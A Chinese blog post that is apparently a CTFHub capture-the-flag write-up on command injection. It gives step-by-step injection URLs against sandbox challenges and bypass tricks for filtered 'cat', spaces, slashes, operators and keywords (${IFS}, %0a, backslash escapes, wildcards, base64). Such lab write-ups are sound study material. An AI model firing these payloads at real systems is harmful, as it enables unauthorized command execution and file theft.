CTF刷题记录CTFHub-RCE-命令注入

最新推荐文章于 2024-03-31 09:00:00 发布
最新推荐文章于 2024-03-31 09:00:00 发布
阅读量3.4k 收藏 19
点赞数 8
分类专栏： 信息安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m_de_g/article/details/118929528
版权

**

CTFHub-RCE-命令注入

**

1.无任何的过滤

一、解题思路
通过输入一些指令，利用某些特定的函数进行的操作，从而达到命令执行攻击的效果。
在这里插入图片描述

因为没有任何的过滤，那么我们可以直接使用分号(;)闭合前面的语句，执行ls命令

http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

在这里插入图片描述
通过执行ls命令可以看到，该目下的文件，这是linux环境下
在这里插入图片描述

如果是window环境下，使用命令dir查看目录文件
在这里插入图片描述
在这里插入图片描述
我们使用cat命令读取index.php文件
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php

在这里插入图片描述
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 137391798722228.php
那我们也读取137391798722228.php这个文件试试
在这里插入图片描述
查看页面源代码，可以得到flag
在这里插入图片描述
二、知识点：
1、每个命令之间用(分号)”;”隔开；
说明:各命令的执行结果，不会影响其他命令的。
意思是说每个命令都会执行，但不保证每个命令都执行成功。
2、每个命令之间用&&隔开
说明：若前面的命令执行成功，才会去执行后面的命令。这样的话，可以保证所有的命令执行完毕后，执行的过程都是成功的。
3、每个命令之间用||隔开
说明：||是或的意思，只有前面的命令执行失败后采取执行下一条命令，直到执行成功一条命令为止。
4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5、&是后台任务符号。后台任务符号使shell在后台执行该任务，这样用户就可以立即得到一个提示符并继续其他工作。

**

2.过滤cat

**
一、解题思路
当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器，这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容

直接使用分号(;)代替回车，执行ls命令
在这里插入图片描述
可以看到flag_124552338228659.php文件，那么我们可以直接使用cat进行读取
在这里插入图片描述
可是回显的是cat被过滤了，那么使用less或more试试
在这里插入图片描述
在这里插入图片描述

查看页面源代码，可以得到flag
在这里插入图片描述

3.过滤空格

直接使用分号(;)代替回车，执行ls命令
在这里插入图片描述
可以看到flag_806737515962.php文件，那么我们可以直接使用cat进行读取
在这里插入图片描述
可是回显的是空格被过滤了，那么使用<或${IFS}试试
在这里插入图片描述
在这里插入图片描述

查看页面源代码，可以得到flag
在这里插入图片描述
当空格被过滤后,可以使用一下命令进行读取文件的内容
< <> >重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20

4.过滤目录分隔符

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
在这里插入图片描述
我们可以看到,使用逗号分隔符(;)结束前面的命令,成功执行ls命令，发现文件夹flag_is_here，接下来我们使用cd命令，进入到文件夹呢，ls查看这个文件的内容
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls
在这里插入图片描述
发现该文件夹中有一个名为flag_252412887014927.php的文件
在这里插入图片描述
我直接使用cat f*读取文件，查看页面源代码，得到flag
在这里插入图片描述
方法二：

在linux的系统环境变量中${PATH:0:/}代替/
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls flag_is_here{PATH:0:1}

同样也可以，得到flag_is_here中的文件内容
在这里插入图片描述
在这里插入图片描述

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here${PATH:0:1}flag_252412887014927.php

在这里插入图片描述
查看页面源代码得到flag
在这里插入图片描述

5.过滤运算符

直接上手，执行ls命令，发现成功执行
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
在这里插入图片描述
接下来，直接使用cat读取文件
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_7666637111301.php
在这里插入图片描述
查看页面源代码，得到flag
在这里插入图片描述
经过测试，过滤了管道符(|),直接使用逗号(;)分隔
在这里插入图片描述
方法二
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;base64 flag_7666637111301.php
使用base64加密这个文件
在这里插入图片描述

使用base64在线解密，得到flag

在这里插入图片描述

6.综合过滤练习

直接使用逗号分隔(;)进行分隔，执行ls命令，发现逗号(;)被过滤
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
在这里插入图片描述
命令分隔符的绕过姿势
;
%0a
%0d
&
那我们使用%0a试试，发现ls命令被成功执行
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als

在这里插入图片描述
发现一个名为flag_is_here的文件夹和index.php的文件，那么我们还是使用cd命令进入到文件夹下
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd flag_is_here%0als
在这里插入图片描述
发现空格和flag被过滤,空格绕过前面已经讲述，这里就不在赘述，直接尝试${IFS}进行空格绕过，使用fla\g反斜杠转义flag

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0als

成功读取flag_is_here文件夹下的内容
在这里插入图片描述
接下来，直接使用cat读取flag_300121897522180.php文件里的内容

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0acat${IFS}fla\g_300121897522180.php

在这里插入图片描述
发现过滤了cat,前面也讲过cat的绕过姿势，这里不在赘述，直接尝试less

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0aless${IFS}fla\g_300121897522180.php

在这里插入图片描述
命令执行成功，查看页面源代码得到flag

在这里插入图片描述
方法二
使用通配符进行绕过

符号解释
*匹配任意长度任意字符
？匹配任意单个字符
––
[list]匹配指定范围内(list)任意单个字符，也可以是单个字符组成的集合
[^list]匹配指定范围外的任意单个字符和字符集合
––
[!list]同[^list]
{str1,str2,…}匹配str1或者str2或者更多字符串，也可以是集合
http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0aless${IFS}f*

在这里插入图片描述
查看页面源代码，也可以得到flag

在这里插入图片描述
如果不想查看页面源代码，也可以使用base64加密flag_318922667817912.php文件

http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0abase64${IFS}f*

在这里插入图片描述
然后进行base64解密，即可得到flag
在这里插入图片描述

山川绿水
关注
  • 8
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
非科班出身程序员刷题-nanny:运行命令，像MaryPoppins一样观察它
07-07
非科班出身程序员刷题保姆（回购） 该存储库包含用于在 linux 机器上运行后台（批处理）进程的工具，监视它们并在它们未成功终止时尝试尽可能多地了解它们。 目前的主要工具是childminder ，有nanny ，因为它的依赖的已经下降ptrace(2)这似乎已经下降受害者的趋势日益锁定在Linux上的权限）和（当我确实有sudo权利）我不充分理解文档以使代码正常工作。 （它似乎在附加时停止了孩子，然后即使我（以为我已经）告诉它继续，也不会让它再次开始。） 保姆（程序） Childminder 使用sigaction(2)和waitpid(2)来派生子进程，然后检查它的进展情况。 如果孩子似乎遇到麻烦，有重新启动请求命令的功能，但这还没有正确测试。 （具体来说，停止的子进程可能会导致父进程挂起。）还可以告诉它运行一些毫无意义的内置函数而不是分叉，这可用于更清晰地了解可能试图中断进程的任何信号批处理。 使用简单 举个简单的例子，假设您出于某种原因想要将ls -lR作为批处理作业运行。 然后监视它，只需执行以下操作： childminder ls -lR Childminder 将执行以下
CTF比赛中的常见题型-适合初学者
08-17
CTF比赛中的常见题型--适合初学者
CTF竞赛介绍以及刷题网址（非常详细）零基础入门到精通，收藏这一篇就够了
最新发布
Python_0011的博客
03-31 1393
CTF是一种流行的信息安全竞赛形式，其英文名可直译为“夺得Flag”，也可意译为“夺旗赛”。其大致流程是，参赛团队之间通过进行攻防对抗、程序分析等形式，率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容，并将其提交给主办方，从而夺得分数。为了方便称呼，我们把这样的内容称之为“Flag”。PWN（溢出）：PWN在黑客俚语中代表着攻破，取得权限，在CTF比赛中它代表着溢出类的题目，其中常见类型溢出漏洞有栈溢出、堆溢出。
ctfshow 命令执行 刷题记录
qq_63548648的博客
12-16 803
1
CTFHub——技能树——SQL注入（sqlmap）
sparename的博客
12-26 6852
SQL注入整数型注入sqlmap简介检测注入实战解题字符型注入报错注入布尔盲注时间盲注MySQL结构Cookie注入UA注入Refer注入过滤空格 整数型注入 sqlmap简介 sqlmap支持五种不同的注入模式： 1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。 2、基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。 3、基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。 4、联合查询注入，可以使用u
CTFHub技能树RCE命令注入
szgyunyun的博客
03-19 5139
1.命令注入 // 关键代码 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip， $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令，可以拼接 exec($cmd, $res);// 执行cmd，把结果输出到res } if ($res) { ...
CTFHub-Web-RCE-命令注入
qq_54037445的博客
11-29 1917
1、常见的拼接符1、A;B 先执行A，再执行B2、A & B 简单的拼接3、A | B 显示B的执行结果4、A&&B A执行成功之后才会执行B5、A || B A执行失败之后才会执行B, 在特殊情况下可代替空格2、常见的命令1.type 显示文本文件内容type x:\1.txt //显示x盘下的1.txt文件内容。
CTFHub技能树笔记之RCE：命令注入、过滤cat、过滤空格
weixin_48799157的博客
03-28 8239
小白一个，记录解题过程，如有错误请指正！ 一、命令注入 补充知识点： 命令行注入漏洞是指web应用程序中调用了系统可执行命令的函数，而且输入参数是可控的，如果黑客拼接了注入命令，就可以进行非法操作了。 Windows系统支持的管道符如下： 1. “|”：直接执行后面的语句。 2. “||”：如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才行。 3. “&”：两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。 4. “&&...
CTFHub | 命令注入
尼泊罗河伯的博客
06-14 1382
检查网页显示内容，可以直接看到源代码。大致意思是：检查用户输入的 GET 请求，判断用户是否输入了ip 信息。如果输入了 ip 信息，则使用用户输入的这个 ip 数据执行一个 shell 命令 "ping -c 4" 。
CTFHub 命令注入-综合练习
qq_56096156的博客
03-21 856
1.因为运算符被过滤掉了，我们先用分号测试一下命令是否执行；2.接下来我们用cat命令查看flag文件。发现可以执行，并且找到了flag文件。然后右键查看网页源代码，找到hub.
CTF-命令注入【超详细】
不知名白帽的博客
09-05 9071
CTF-命令注入【超详细】
ctf-2017-release:BSidesSF CTF 2017版本
05-28
ctf-2017 2017 BSidesSF CTF面临的挑战 内置的 ， ， ， ， 在本地应对挑战 您可以使用docker在本地运行所有挑战。 docker-compose build && docker-compose up -d 挑战将在http://localhost:PORT提供，基于...
CTF 竞赛入门指南（ctf-all-in-one）.pdf
09-07
一、基础篇；二、工具篇；三、分类专题篇；四、技巧篇；五、高级篇；六、题解篇；七、实战篇... 2000多页的电子书，讲解细致，值得搜藏。
CTF-100题.-天天练习-学习
11-01
CTF-100题.-----------------天天练习------------------学习 100小题，试例练习
CTF-misc工具2-CTF-Tools-masterV1.3.7
08-17
CTF-Tools-master是一个专注于密码编码识别与解码的工具,能自动推断密码的编码类型,并进行解码。 适用人群: 该工具主要适用于参加CTF竞赛的选手,以及对密码编码算法感兴趣的信息安全从业人员。 使用场景: 在CTF竞赛...
ctfshow命令执行刷题总结
m0_62422842的博客
07-01 760
命令执行常用姿势总结
刷题——命令执行
as you know, nlp is fantasitc!
01-06 2471
命令执行 1、云演平台-ping 命令分隔符 linux系统下： %0a %0d ; & && | || windows系统下： windows中：%0a、&、|、%1a（.bat文件分隔符） index.php的内容 <?php error_reporting(0); // Get input if(isset($_GET['ip'])) { $target = $_GET['ip']; // var_dump($target); $t
命令注入————ctfhub（过滤cat、空格、目录分隔符、运算符、综合过滤练习）
qq_45655564的博客
05-30 8067
CTFHub 命令注入-过滤cat <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $r
CTF-web 第十三部分 命令注入
热门推荐
iamsongyu的博客
11-25 1万+
一 、基本原理 命令注入指的是，利用没有验证过的恶意命令或代码，对网站或服务器进行渗透攻击。 注入有很多种，并不仅仅只有SQL注入。比如： 命令注入(Command Injection) Eval 注入(Eval Injection) 客户端脚本攻击(Script Insertion) 跨网站脚本攻击(Cross Site Scripting, XSS) SQL 注入攻击(SQL ...
CTFHub 命令注入-无过滤
07-25
CTFHub 命令注入-无过滤是一个题目，它的源代码中存在一个命令注入漏洞。在这个题目中，用户可以通过输入IP地址执行ping命令。\[1\]由于没有采用过滤，用户可以直接进行命令拼接，例如输入"192.168.43.222;ls"可以查看目录下的全部文件。\[2\]在这个题目中，flag被隐藏在网页源代码中。\[3\]为了防止命令注入漏洞，可以对用户输入进行过滤，例如过滤空格。 #### 引用[.reference_title] - *1* *2* [CTFHub -技能树 命令注入-无过滤](https://blog.csdn.net/qq_45653588/article/details/107556087)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFhub——命令执行](https://blog.csdn.net/qq_43277152/article/details/113649643)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值